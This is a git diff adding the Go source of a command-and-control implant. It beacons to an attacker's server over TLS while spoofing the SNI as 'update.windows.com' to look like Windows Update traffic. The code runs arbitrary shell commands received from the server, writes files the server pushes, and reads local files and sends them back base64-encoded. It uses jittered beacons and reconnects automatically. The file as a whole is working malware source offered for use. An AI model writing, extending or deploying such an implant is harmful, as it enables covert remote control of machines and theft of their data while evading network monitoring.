diff --git a/c2s_sni_spoof/cmd /client/main.go b/c2s_sni_spoof/cmd /client/main.go new file mode 100644 index 0000000..09b507f --- /dev/null +++ b/c2s_sni_spoof/cmd /client/main.go @@ -0,0 +1,366 @@ +// Command client is the implant side of the SNI-spoofing C2. +// +// It connects to the C2 server using TLS with a spoofed SNI field +// (e.g. "update.windows.com"), beacons periodically, receives commands, +// executes them, and sends back results. +package main + +import ( + "crypto/tls" + "encoding/base64" + "encoding/json" + "flag" + "fmt" + "math/rand" + "net" + "os" + "os/exec" + "os/signal" + "runtime" + "sync/atomic" + "syscall" + "time" + + tlsutil "github.com/openclaw/c2-sni-spoof/pkg/tls" +) + +// ---------- Message types (match server) ---------- + +type Beacon struct { + Type string `json:"type"` + Hostname string `json:"hostname"` + PID int `json:"pid"` + BeaconID int64 `json:"beacon_id"` + SNI string `json:"sni,omitempty"` +} + +type Command struct { + Type string `json:"type"` + Payload string `json:"payload,omitempty"` + Filename string `json:"filename,omitempty"` + Data string `json:"data,omitempty"` + BeaconSec int `json:"beacon_sec,omitempty"` + ID int64 `json:"id,omitempty"` +} + +type Result struct { + Type string `json:"type"` + Command int64 `json:"command_id"` + Output string `json:"output,omitempty"` + Data string `json:"data,omitempty"` + Error string `json:"error,omitempty"` +} + +// ---------- Implant state ---------- + +type Implant struct { + serverAddr string + sniDomain string + caFile string + hostname string + pid int + beaconSec int64 // atomic for safe concurrent access + beaconID int64 + conn net.Conn + enc *json.Encoder + dec *json.Decoder +} + +func NewImplant(serverAddr, sniDomain, caFile string, beaconSec int) *Implant { + hostname, _ := os.Hostname() + if hostname == "" { + hostname = "unknown" + } + return &Implant{ + serverAddr: serverAddr, + sniDomain: sniDomain, + caFile: caFile, + hostname: hostname, + pid: os.Getpid(), + beaconSec: int64(beaconSec), + } +} + +// ---------- Connection management ---------- + +func (imp *Implant) connect() error { + tlsCfg, err := tlsutil.ClientTLSConfig(imp.sniDomain, imp.caFile) + if err != nil { + return fmt.Errorf("TLS config: %w", err) + } + + conn, err := tls.Dial("tcp", imp.serverAddr, tlsCfg) + if err != nil { + return fmt.Errorf("TLS dial: %w", err) + } + + imp.conn = conn + imp.enc = json.NewEncoder(conn) + imp.dec = json.NewDecoder(conn) + + return nil +} + +func (imp *Implant) close() { + if imp.conn != nil { + imp.conn.Close() + imp.conn = nil + } +} + +// ---------- Main beacon loop ---------- + +func (imp *Implant) run() error { + if err := imp.connect(); err != nil { + return err + } + defer imp.close() + + fmt.Fprintf(os.Stderr, "[*] implant connected to %s (SNI: %s)\n", + imp.serverAddr, imp.sniDomain) + + for { + // Build beacon. + bid := atomic.AddInt64(&imp.beaconID, 1) + beacon := Beacon{ + Type: "beacon", + Hostname: imp.hostname, + PID: imp.pid, + BeaconID: bid, + SNI: imp.sniDomain, + } + + // Send beacon. + if err := imp.enc.Encode(beacon); err != nil { + return fmt.Errorf("send beacon: %w", err) + } + + // Receive command. + var cmd Command + if err := imp.dec.Decode(&cmd); err != nil { + return fmt.Errorf("recv command: %w", err) + } + + // Process command (noop and ping don't produce a result). + switch cmd.Type { + case "noop": + // nothing to do + case "ping": + // nothing to do, just continue + case "exec": + res := imp.handleExec(cmd) + if err := imp.enc.Encode(res); err != nil { + return fmt.Errorf("send result: %w", err) + } + case "upload": + res := imp.handleUpload(cmd) + if err := imp.enc.Encode(res); err != nil { + return fmt.Errorf("send result: %w", err) + } + case "download": + res := imp.handleDownload(cmd) + if err := imp.enc.Encode(res); err != nil { + return fmt.Errorf("send result: %w", err) + } + case "beacon": + if cmd.BeaconSec > 0 { + atomic.StoreInt64(&imp.beaconSec, int64(cmd.BeaconSec)) + res := Result{ + Type: "result", + Command: cmd.ID, + Output: fmt.Sprintf("beacon interval changed to %ds", cmd.BeaconSec), + } + if err := imp.enc.Encode(res); err != nil { + return fmt.Errorf("send result: %w", err) + } + } + default: + res := Result{ + Type: "error", + Command: cmd.ID, + Error: fmt.Sprintf("unknown command type: %s", cmd.Type), + } + imp.enc.Encode(res) + } + + // Sleep for beacon interval, with ±20% jitter. + sec := atomic.LoadInt64(&imp.beaconSec) + baseSleep := time.Duration(sec) * time.Second + jitterMax := baseSleep / 5 + jitter := time.Duration(rand.Int63n(int64(jitterMax))) + if rand.Int63n(2) == 0 { + time.Sleep(baseSleep + jitter) + } else { + time.Sleep(baseSleep - jitter) + } + } +} + +// ---------- Command handlers ---------- + +func (imp *Implant) handleExec(cmd Command) Result { + // Determine shell based on OS. + shell, shellFlag := "/bin/sh", "-c" + if runtime.GOOS == "windows" { + shell, shellFlag = "cmd.exe", "/C" + } + + execCmd := exec.Command(shell, shellFlag, cmd.Payload) + output, err := execCmd.CombinedOutput() + if err != nil { + return Result{ + Type: "result", + Command: cmd.ID, + Output: string(output), + Error: err.Error(), + } + } + return Result{ + Type: "result", + Command: cmd.ID, + Output: string(output), + } +} + +func (imp *Implant) handleUpload(cmd Command) Result { + if cmd.Filename == "" || cmd.Data == "" { + return Result{ + Type: "error", + Command: cmd.ID, + Error: "missing filename or data", + } + } + + data, err := base64.StdEncoding.DecodeString(cmd.Data) + if err != nil { + return Result{ + Type: "error", + Command: cmd.ID, + Error: fmt.Sprintf("base64 decode: %v", err), + } + } + + if err := os.WriteFile(cmd.Filename, data, 0644); err != nil { + return Result{ + Type: "error", + Command: cmd.ID, + Error: fmt.Sprintf("write file: %v", err), + } + } + + return Result{ + Type: "result", + Command: cmd.ID, + Output: fmt.Sprintf("uploaded %d bytes to %s", len(data), cmd.Filename), + } +} + +func (imp *Implant) handleDownload(cmd Command) Result { + if cmd.Filename == "" { + return Result{ + Type: "error", + Command: cmd.ID, + Error: "missing filename", + } + } + + data, err := os.ReadFile(cmd.Filename) + if err != nil { + return Result{ + Type: "error", + Command: cmd.ID, + Error: fmt.Sprintf("read file: %v", err), + } + } + + return Result{ + Type: "result", + Command: cmd.ID, + Output: fmt.Sprintf("downloaded %d bytes from %s", len(data), cmd.Filename), + Data: base64.StdEncoding.EncodeToString(data), + } +} + +// ---------- Reconnect loop with exponential backoff ---------- + +func (imp *Implant) runWithReconnect() { + maxBackoff := 5 * time.Minute + backoff := 1 * time.Second + + for { + err := imp.run() + if err != nil { + fmt.Fprintf(os.Stderr, "[!] connection lost: %v\n", err) + fmt.Fprintf(os.Stderr, "[*] reconnecting in %v\n", backoff) + } + + // Wait with backoff, respect interrupt. + sleepTimer := time.NewTimer(backoff) + + sigCh := make(chan os.Signal, 1) + signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) + + select { + case <-sigCh: + sleepTimer.Stop() + signal.Stop(sigCh) + fmt.Println("\n[*] implant shutting down…") + return + case <-sleepTimer.C: + } + signal.Stop(sigCh) + + // Exponential backoff with cap. + backoff *= 2 + if backoff > maxBackoff { + backoff = maxBackoff + } + + // Add jitter (±25%). + jitter := time.Duration(rand.Int63n(int64(backoff) / 4)) + if rand.Int63n(2) == 0 { + backoff += jitter + } else { + backoff -= jitter + if backoff < time.Second { + backoff = time.Second + } + } + } +} + +// ---------- main ---------- + +func main() { + serverAddr := flag.String("c2", "", "C2 server address (host:port)") + sniDomain := flag.String("sni", "update.windows.com", "SNI domain to spoof") + caFile := flag.String("ca", "ca.crt", "CA certificate file for TLS verification") + beaconSec := flag.Int("beacon", 10, "beacon interval in seconds") + flag.Parse() + + if *serverAddr == "" { + fmt.Fprintln(os.Stderr, "error: -c2 flag is required (e.g. -c2 192.168.1.100:8443)") + flag.Usage() + os.Exit(1) + } + + fmt.Fprintf(os.Stderr, "[*] SNI Spoof Implant starting\n") + fmt.Fprintf(os.Stderr, "[*] C2: %s SNI: %s Beacon: %ds\n", + *serverAddr, *sniDomain, *beaconSec) + h, _ := os.Hostname() + fmt.Fprintf(os.Stderr, "[*] Hostname: %s PID: %d OS: %s\n", h, os.Getpid(), runtime.GOOS) + + imp := NewImplant(*serverAddr, *sniDomain, *caFile, *beaconSec) + + // Handle interrupt for graceful shutdown. + sigCh := make(chan os.Signal, 1) + signal.Notify(sigCh, syscall.SIGINT, syscall.SIGTERM) + go func() { + <-sigCh + fmt.Fprintln(os.Stderr, "\n[*] shutting down…") + imp.close() + os.Exit(0) + }() + + imp.runWithReconnect() +}